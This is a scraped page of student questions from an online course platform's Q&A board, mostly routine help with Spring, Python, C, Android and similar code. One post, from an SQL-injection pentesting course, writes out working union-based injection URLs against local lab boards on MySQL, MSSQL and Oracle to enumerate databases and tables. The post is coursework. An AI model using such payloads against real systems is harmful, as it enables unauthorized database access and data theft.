묻고 답해요
164만명의 커뮤니티!! 함께 토론해봐요.
인프런 TOP Writers
-
미해결스프링 핵심 원리 - 기본편
선생님 Restful API 제작 관련 커리큘럼이 궁금합니다.
학습하는 분들께 도움이 되고, 더 좋은 답변을 드릴 수 있도록 질문전에 다음을 꼭 확인해주세요.1. 강의 내용과 관련된 질문을 남겨주세요.2. 인프런의 질문 게시판과 자주 하는 질문(링크)을 먼저 확인해주세요.(자주 하는 질문 링크: https://bit.ly/3fX6ygx)3. 질문 잘하기 메뉴얼(링크)을 먼저 읽어주세요.(질문 잘하기 메뉴얼 링크: https://bit.ly/2UfeqCG)질문 시에는 위 내용은 삭제하고 다음 내용을 남겨주세요.=========================================[질문 템플릿]1. 강의 내용과 관련된 질문인가요? 예2. 인프런의 질문 게시판과 자주 하는 질문에 없는 내용인가요? 예3. 질문 잘하기 메뉴얼을 읽어보셨나요? 예[질문 내용]안녕하세요. 선생님현재 스프링 입문강의, 기본강의를 완강한 상태이고 복습 중 입니다.아직 학생이고, 프로젝트를 한개 해보려고 싶은 마음에 실력은 부족하지만 Restful API제작을 하고 싶습니다.기술스택으로는 SpringBoot 와 JPA를 사용해보고 싶고, HTTP통신 기반으로 제작하려 합니다.11월 말일부터 제작을 시작하고 싶은데, 다음 커리큘럼으로 선생님의 HTTP강의를 듣고, 이후에 어떤 강의를 들어야할지 고민되어서, 질문드립니다.정말 어려운 프로젝트가 될거같지만, 1. HTTP강의 이후에 Spring MVC 1,2듣기 (Servlet과 자바 MVC패턴2에 대한 지식은 가지고있습니다.)HTTP강의 이후 Spring Boot JPA강의 야생형으로 듣기이 두가지 방법을 고민하고 있습니다.엄청난 서비스를 만들면 좋겠지만, 아직 서비스를 구동하기에 필요한 API에 대한 개념이 아에 없는 상태인데,어떤 과정으로 넘어가면 좋을까요?감사합니다.
-
미해결파이썬(Python)으로 데이터 기반 주식 퀀트 투자하기 Part1
수업자료 불러오기
파이썬으로 ~~ part.2 강의자료를 주피터에서 불러오기가 잘 안돼서 처음부터 다시 불려오려다가잘 불러와져있던 part.1까지 모두 삭제해버렸습니다강의자료를 workspace 폴더로 옮기면 된다는 설명을 part.1 강의에서 찾았습니다(이미 강의자료가 불러와져있던건 지운 상태였죠)문제는 이후에 다시 workspace 폴더로 옮기고 주피터를 실행해도 강의자료가 나오지 안나오네요그래서 upload file 아이콘을 눌러서 하나하나씩 업로드를 했는데 이렇게 하면 전체 강의자료의 목차가 한번에 안뜨게 되네요(table of contents-점3개 줄 3개 아이콘 눌렀을때)이전처럼 강의자료가 (예를들어 1~6까지) 한번에 다 나오게 하려면 어떻게 해야하나요? (workspace 폴더에는 옮긴 파일들이 그대로 잘있으나 주피터를 실행시키면 이전처럼 안나오네요 ㅠㅠ) 원래는 어떻게 있었는지 기억나지는 않지만 현재 uploadfile 아이콘으로 하나하나 불러왔더니 이렇게 됐네요(기존처럼 바꾸려면 어떻게 해야할까요?)
-
해결됨실전! Querydsl
tuple로 조회된 결과값을 modelMapper에 담을 수 있을까요?
아래와 같이 querydsl을 사용해서 목록을 조회하고 List로 받은 결과값을 BoardDto 타입으로 변환해서 저장하는것은 잘 됩니다. List<Board> list = queryFactory.select(board) .from(board) .fetch(); List<BoardDto> boardList = new ArrayList<>(); list.forEach(v -> { boardList.add(modelMapper.map(v, BoardDto.class)); });그런데 문제는 아래와 같이 Tuple로 리턴을 받았을때는 어떻게 담아야 할까요?List<Tuple> list = queryFactory.select(board.title, board.content) .from(board) .fetch();검색을 했을 때.. 아래와 같이 사용을 하면 된다고 하는데.. getElements()라는 메소드는 존재하지 않는데 어떻게 저렇게 사용을 하는지 모르겠네요..(현재 자바 8을 사용하고 있습니다.)List<Product> products = productsTuple .stream() .map(p -> { Map<String, Object> maps = new HashMap<>(); p.getElements().forEach(te -> { maps.put(te.getAlias(), p.get(te.getAlias())); }); return modelMapper.map(maps, Product.class)); }) .collect(Collectors.toList());단순하게 DB에 있는 컬럼만을 사용자로 보내주는 경우는 많지 않고 가공을 해서 보내줘야 하는 경우가 대부분인데..querydsl로 tuple데이터를 조회했을 때 modelmapper로 담는 방법이 없을까요? tuple로 조회된 정보들은 Map으로 따로 담아서 view 로 리턴을 해 주는데 그렇게 되면 tuple의 결과값에 따라 map에 넣어주는 데이터들도 많아지고, 중복 비슷한 자료들이 너무 많아져서 보기가 좋지 않은데.. return 할 DTO를 하나 만들어서 그곳에 리턴될 값들으 모두 담아서 리턴을 할 수 있는 방법이 있을까요??예를들어 게시판 테이블에서 조회를 할 때 특정 필드값들을 select하고, 첨부파일 정보를 select하고, 회원 정보를 select를 해서이 3개의 테이블에 있는 필요한 값들을 DTO를 하나 만들어서 그곳에 담아서 리턴을 해 주고 싶은데제가 알고있는 방식은Map<String, Object> map = new HashMap<>(); map.put("id", tuple(user.id)); map.put("title",tuple(board.title)); map.put("fileName", tuple.attach.fileName));위와같은 식으로 맵에 각각 담아서 맵으로 화면에 리턴을 해 주고 있는데이런 값들을 담을 DTO를 아래와 같이 만들고public class returnDTO{ private Long id; private String title; private String filename; }returnDTO 안에 modelmapper나 다른 방법을 사용해서 한꺼번에 담을 수 있는 방법이 있을까요?값이 얼마 없을때는 그냥 사용을 하면 되는데 값이 많아지고, 하나의 메소드 안에서 여러번 가공을 해서 만들어야 할 경우에는 Map을 만드는 작업을 여러번 반복을 해야하는 상황이 발생하다보니 소스가 많이 지저분해지는 느낌이 많이 듭니다.
-
미해결파이썬(Python)으로 데이터 기반 주식 퀀트 투자하기 Part1
4.2강 질문
per_cuts = pd.cut(df['PER(배)'],[-np.inf, 0, 5, 10, np.inf],)per_cuts.head() bins = [-np.inf, 10, 20, np.inf]labels = ['저평가주', '보통주', '고평가주']per_cuts2 = pd.cut(df['PER(배)'],bins=bins,labels=labels)per_cuts2.head()df.loc[:, 'PER_score2'] = per_cutsper_cuts.head()0 (10.0, inf] 1 (10.0, inf] 2 (5.0, 10.0] 3 (10.0, inf] 4 (10.0, inf] Name: PER(배), dtype: category Categories (4, interval[float64]): [(-inf, 0.0] < (0.0, 5.0] < (5.0, 10.0] < (10.0, inf]]이렇게 하면 PER_score2가 per_cuts에 맵핑되어야 하는데결과가 per_cuts와 계속 동일하게 나오는데 맞나요? 20인 구간이 계속 안나오네요
-
해결됨스프링 핵심 원리 - 고급편
Advisor 빈 등록 시점
Advisor 빈의 등록 시점이 궁금합니다.강의에 나온 설명 그림의 흐름대로라면, 빈 후처리기에서 스프링 컨테이너와 @Aspect 어드바이저 빌더에 있는 Advisor들을 조회하기 위해서는 이미 Advisor 빈이 스프링 컨테이너에 등록되어 있는 상태여야 하는 걸로 이해했습니다.그렇다면 Advisor 빈들은 가장 먼저 스프링 컨테이너에 등록되도록 설정 되어 있는 것 일까요??
-
해결됨Flutter 입문 - 안드로이드, iOS 개발을 한 번에 (with Firebase)
플러터 SDK 설치시 맥북 환경변수 설정 어떻게 하나요?
- 학습 관련 질문을 남겨주세요. 상세히 작성하면 더 좋아요! - 먼저 유사한 질문이 있었는지 검색해보세요. - 서로 예의를 지키며 존중하는 문화를 만들어가요. - 잠깐! 인프런 서비스 운영 관련 문의는 1:1 문의하기를 이용해주세요. 맥북 apple silicon입니다. 환경변수 어떻게 해야하나요"?
-
해결됨홍정모의 따라하며 배우는 C언어
(강의 6:00) 문자열을 입력할 때에도 내부적으로 뒤에 \0이 붙나요?
코드를 실행해보면 위와 같다.처음에 char타입 배열 words를 선언하고, 그 공간에 "hello world\n"를 입력하면gets( )함수가 한번에 버퍼를 읽어들인 뒤 내부적으로 \n을 제거하고(받지않고) \0를 추가시켜서 "hello world\0"를 배열 words에 저장한다."START\n"가 출력되고"hello world"가 출력되고바로 이어서 "hello world"가 출력된 뒤 줄바꿈(\n)이 된다.마지막으로 "END"가 출력된다.1. 강의 6:00 부분입니다. 제가 위에 작성한 것처럼 내부적으로 처리되는 과정을 적어보았는데, 여기서 생긴 궁금한 부분이 "문자열을 입력했을 때에도 내부적으로 뒤에 \0를 붙여서 처리해주는가?"입니다.보통 코드 상으로 어떤 char타입의 배열을 선언하고 거기에 문자열을 대입한다고 했을 때 자동적으로 내부적으로는 뒤에 \0이라는 null character가 붙습니다.그런데 이것이 콘솔 창에서 입력해주었을 때도 마찬가지로, 내부적으로 입력한 문자배열+\0으로 처리해주는지 궁금합니다.만약 그렇다면, gets( )함수가 words를 입력받고 \n가 입력되는 순간, "hello world\0+\0"으로 저장이 될 것입니다.2. 콘솔창에 printf( )함수로든 puts( )함수로든 출력이 될 때, 문자열에 (내부적으로 저장되어있는) null character(\0)도 마찬가지로 입출력 버퍼에 저장되는 것은 동일한데출력 시 콘솔 창에 표현이 안되고단순히 hello worldhello world로 표시가 되는것인지 궁금합니다.이것이 사실 콘솔창에 \0도 출력되는 것이지만, 공백이 아니라 말그대로 null character이기 때문에 표시되지 않는 것처럼 보이는 건가요?
-
미해결풀스택을 위한 도커와 최신 서버 기술(리눅스, nginx, AWS, HTTPS, 배포까지) [풀스택 Part3]
강의자료
안녕하세요! 해당 영상 학습 자료는 어떻게 받으면 될까요? 다른 분 질의응답 답변 보고 메일 드렸었는데 답장이 없으셔서 여쭤봅니다.
-
해결됨실전 프로젝트로 배우는 타입스크립트
function $(selector) 관련 질문 드립니다.
유틸 함수를 정의해서 쓰셨던데요. 이게 정확히 무슨 문법인가요?제이쿼리 처럼 생기기도 하고, 좀 자세히 찾아보고 싶은데 키워드를 모르겠네요.function $(selector) { return document.querySelector(selector); } function getUnixTimestamp(date) { return new Date(date).getTime(); }
-
미해결단 두 장의 문서로 데이터 분석과 시각화 뽀개기
17강 도입부 실습사이트 문의
17강에 도입부에나오는 사이트 주소좀 부탁드립니다. 답글로 남겨주시면 감사하겠습니다.
-
해결됨리눅스 커널 해킹. A부터 Z까지
디버깅 방법
안녕하세요! 강의도 다시 돌려보고 인터넷도 다 뒤져봐도 커널에서는 gdb로 디버깅을 어떻게 하는지 도저히 모르겠습니다ㅠㅠ지금까지 이해한 바로는/usr/src/linux-headers-$(uname -r)/scripts/extract-vmlinux bzImage > vmlinux를 통해 vmlinux파일 추출하고 gdb ./vmlinux 로 실행한 뒤 target remote localhost:1234 하면 되는 것으로 이해 했는데 아무런 반응이 없습니다... (참고로 현재 pwngdb 사용 중 입니다.) 강사님 예제파일을 보면 보통 c코드, start.sh, rootfs.cpio, bzImage 이렇게 주어지는데 이 파일들로 무엇을 해야 gdb 분석이 가능한가요? 죄송하지만 처음부터 자세하게 설명 부탁드립니다ㅠㅠ 항상 좋은 강의 감사합니다.
-
해결됨따라하며 배우는 TDD 개발 [2023.11 업데이트]
models 파일만 첫번째 글자를 대문자로 해주는 이유
models 파일만 Product.js 로 첫번째 글자를 대문자로 해주는 이유가 있는지 궁금합니다.
-
미해결10주완성 C++ 코딩테스트 | 알고리즘 코딩테스트
2-K BOJ 3474 추가아이디어 공유 (교수 현우) + python
추가아이디어 - 그리디min으로 5와 2횟수 비교할 필요없이 5가 최솟값을 보장 while문으로 계속해서 나누는방법for 문으로 5 25 125로 나우는방법이아닌 5로 나눈값을 계속해서 나누는 형태(중간에 나눈값은 따로 더함)C++http://boj.kr/9f743d2fbc00459bba06f2559896e037#include<bits/stdc++.h> using namespace std; int n, a; int main(){ ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0); cin >> n; for(int i = 0; i < n; i++){ cin >> a; int ret5 = 0; for(int j = 5; j <= a; j *= 5){ ret5 += a / j; } cout << ret5 << "\n"; } return 0; }python ( while 적용 )http://boj.kr/c031aa4a62fd4690b2d17271266f87c6import sys input = sys.stdin.readline for _ in range(int(input())): a = int(input()) ret = 0 while a >= 5: a //= 5 ret += a print(ret)
-
해결됨따라하며 배우는 리액트 A-Z[19버전 반영]
PDF에서 Movie 모달에서 트레일러 보여주기 강의는 없는건가요??
- 학습 관련 질문을 남겨주세요. 상세히 작성하면 더 좋아요! - 먼저 유사한 질문이 있었는지 검색해보세요. - 서로 예의를 지키며 존중하는 문화를 만들어가요. - 잠깐! 인프런 서비스 운영 관련 문의는 1:1 문의하기를 이용해주세요. PDF에는 있길래 혹시 이 부분은 없어진건가요??
-
미해결스프링 프레임워크는 내 손에 [스프2탄]
3 tire, 깃 허브 주소
스프2탄은 깃허브 주소가 따로 없을까요?3 tire 구조에서 mapper -> service -> controller 이렇게 거꾸로 코딩을 하는 이유가 뭔지 궁금합니다. 나중에 따로 프로젝트를 하거나 실무에서 코딩을 할 때도 거꾸로 코딩을 하나요?
-
미해결[왕초보편] 앱 8개를 만들면서 배우는 안드로이드 코틀린(Android Kotlin)
리얼타임 데이터베이스 앱 연결 문제
안녕하세요 복치님질문마다 답변들 감사드립니다!저번에도 이 부분에서 아무리 해도 안되서 처음부터 다시 했었거든요! 처음부터 다시 해봐도 같은 문제여서 질문드립니다 저장하기 버튼을 아무리 눌러도 이렇게 화면에 변화가 없는데 뭐가 문제인지 잘 모르겠습니다 도와주세요 <build.gradle>plugins { id 'com.android.application' id 'kotlin-android' } android { compileSdk 33 defaultConfig { applicationId "com.example.diet_memo" minSdk 21 targetSdk 33 versionCode 1 versionName "1.0" testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" } buildTypes { release { minifyEnabled false proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' } } compileOptions { sourceCompatibility JavaVersion.VERSION_1_8 targetCompatibility JavaVersion.VERSION_1_8 } kotlinOptions { jvmTarget = '1.8' } } apply plugin: 'com.google.gms.google-services' dependencies { implementation 'androidx.core:core-ktx:1.9.0' implementation 'androidx.appcompat:appcompat:1.4.1' implementation 'com.google.android.material:material:1.6.0' implementation 'androidx.constraintlayout:constraintlayout:2.1.4' testImplementation 'junit:junit:4.+' androidTestImplementation 'androidx.test.ext:junit:1.1.3' androidTestImplementation 'androidx.test.espresso:espresso-core:3.4.0' implementation platform('com.google.firebase:firebase-bom:31.0.1') implementation 'com.google.firebase:firebase-analytics-ktx' implementation 'com.google.firebase:firebase-auth-ktx' implementation 'com.google.firebase:firebase-database-ktx' } <MainActivity>package com.example.diet_memo import android.app.DatePickerDialog import androidx.appcompat.app.AppCompatActivity import android.os.Bundle import android.util.Log import android.view.LayoutInflater import android.widget.Button import android.widget.DatePicker import android.widget.ImageView import androidx.appcompat.app.AlertDialog import com.google.firebase.database.ktx.database import com.google.firebase.ktx.Firebase import java.util.* class MainActivity : AppCompatActivity() { override fun onCreate(savedInstanceState: Bundle?) { super.onCreate(savedInstanceState) setContentView(R.layout.activity_main) val writeButton = findViewById<ImageView>(R.id.writeBtn) writeButton.setOnClickListener { val mDialogView = LayoutInflater.from(this).inflate(R.layout.custom_dialog, null) val mBuilder = AlertDialog.Builder(this) .setView(mDialogView) .setTitle("운동 메모 다이얼로그") val mAlertDialog = mBuilder.show() val DateSelectBtn = mAlertDialog.findViewById<Button>(R.id.dateSelectBtn) DateSelectBtn?.setOnClickListener { val today = GregorianCalendar() val year : Int = today.get(Calendar.YEAR) val month : Int = today.get(Calendar.MONTH) val date : Int = today.get(Calendar.DATE) val dlg = DatePickerDialog(this, object : DatePickerDialog.OnDateSetListener { override fun onDateSet(view: DatePicker?, year: Int, month: Int, dayOfMonth: Int ) { Log.d("MAIN", "${year}, ${month + 1}, ${dayOfMonth}") DateSelectBtn.setText("${year}, ${month + 1}, ${dayOfMonth}") } },year,month,date) dlg.show() } val saveBtn = mAlertDialog.findViewById<Button>(R.id.saveBtn) saveBtn?.setOnClickListener { val database = Firebase.database val myRef = database.getReference("message") myRef.setValue("Hello, World!") } } }
-
해결됨모의해킹 실무자가 알려주는, SQL Injection 공격 기법과 시큐어 코딩 : PART 1
[실습 7-4, 7-5, 7-6] MySQL, MSSQL, Oracle union based 공격 실습 강의 이후 상세보기에서 순차적 데이터 호출 실습 질문
1) 실습 7-4 MySQL에서 상세보기 메뉴에서 순차적으로 데이터를 호출하기 위해 limit 절을 활용하였습니다.[실습 쿼리문]http://localhost/board/mysql/view.php?idx=7 and 1=2 union select null,schema_name,null,null,null,null,null from information_schema.schemata limit 2,1%23[쿼리문 실행 결과]1. 상세보기 page의 Title 컬럼에 login_example 을 확인 할 수 있었습니다.2. limit 3,1을 하면 상세보기 page의 Title 컬럼에 mysql을 확인 할 수 있었습니다.2) 실습 7-5 MSSQL에서 상세보기 메뉴에서 순차적으로 데이터를 호출하기 위해 not in과 서브쿼리문을 이용하였습니다.[실습쿼리문]http://localhost/board/mssql/view.php?idx=6 and 1=2 union all select null,name,null,null,null,null,null from master.sys.databases where name not in(select top 0 name from sysdatabases)--[쿼리문 실행 결과]1. 상세보기 page의 Title 컬럼에 master 를 확인 할 수 있었습니다.2. 서브쿼리의 top 0 대신 top 1으로 숫자를 올리면 tempdb라는 2번째 데이터베이스 이름을 확인 할 수 있었습니다.3) 실습 7-6 Oracle에서 상세보기 메뉴에서 순차적으로 데이터를 호출하기 위해 rownum과 서브쿼리 기능을 이용했습니다.[실습쿼리문]http://localhost/board/oracle/view.php?idx=61 and 1=2 union all select null,table_name,null,null,null,null,null from(select rownum r, table_name from all_tables)tb where tb.r=2--[쿼리문 실행결과]1. 상세보기 page의 Title 컬럼에 SYSTEM_PRIVILEGE_MAP 두번재 table이름이 나온 것을 확인 할 수 있습니다.질문1)강의 종료 후 제가 제대로 과제를 수행한건지 궁금합니다. 추가적으로 더 확인해 봐야 할 것이 있을 까요? 질문2) MSSQL에서 order by 정렬 기능이나 row_number()함수를 이용해서 순차적으로 출력하는 쿼리문을 만들 수 있을까요?(섹션 4에서 MSSQL에서 순차정렬이 가능한 여러 방법의 내용 처럼)--> 저는 아무리 생각해도 적절한 쿼리문이 떠오르지 않아서 질문드립니다.
-
미해결배달앱 클론코딩 [with React Native]
서버 연결 질문입니다.
- 학습 관련 질문을 남겨주세요. 상세히 작성하면 더 좋아요! - 먼저 유사한 질문이 있었는지 검색해보세요. - 서로 예의를 지키며 존중하는 문화를 만들어가요. - 잠깐! 인프런 서비스 운영 관련 문의는 1:1 문의하기를 이용해주세요.연결은 되었는데 아래와 같은 에러들이 나면서 회원가입이 되지 않습니다.백엔드 서버를 삭제하고 다시 깔아도 똑같은 오류가 납니다. 어떻게 해결해야 할지 모르겠어서 질문 남깁니다.
-
미해결
JPQL Cursor Pagination
JPQL을 활용한 커서 페이지네이션 관련해서 질문드릴려고 합니다.@GetMapping("/items") @ResponseBody public List<Item> findAllItemOrderByItemOrderASC(@RequestParam(value = "order", defaultValue = "0") Long itemOrder, @RequestParam(value = "size", defaultValue = "2") Integer size) { String jpql = "select i from Book i where i.id > :itemOrder order by i.id"; return em.createQuery(jpql, Item.class) .setParameter("itemOrder", itemOrder) .setMaxResults(size) .getResultList(); } 클라이언트에서 마지막 커서 값으로 itemOrder를 준다는 가정하에 이 코드는 문제가 없을까요?setMaxResults가 쿼리가 얻을 수 있는 결과를 제한하는 역할을 하길래 QueryDSL 말고도 JPQL을 통해 쉽게 커서 페이지네이션이 구현 가능할까해서 질문드립니다.일대다 같은 경우는 물론 적용하지 못하겠지만 batchSize 옵션을 통해 커서 페이지네이션 조회용으로 쓸 수 있을 것 같습니다..예시니까 엔티티를 반환했고 레파지토리도 제외했습니다.포스트맨을 활용하여 사용한 결과는 문제가 없었는데 이렇게 간단히 사용해도 될까요?
-
해결됨20년 경력자의 알기쉬운 컴퓨터네트워크
pka파일을 열면 workspace is not empty라는 에러가 뜹니다 어떻게 해야할까요?
pka파일을 열면 workspace is not empty라는 에러가 뜹니다 어떻게 해야할까요?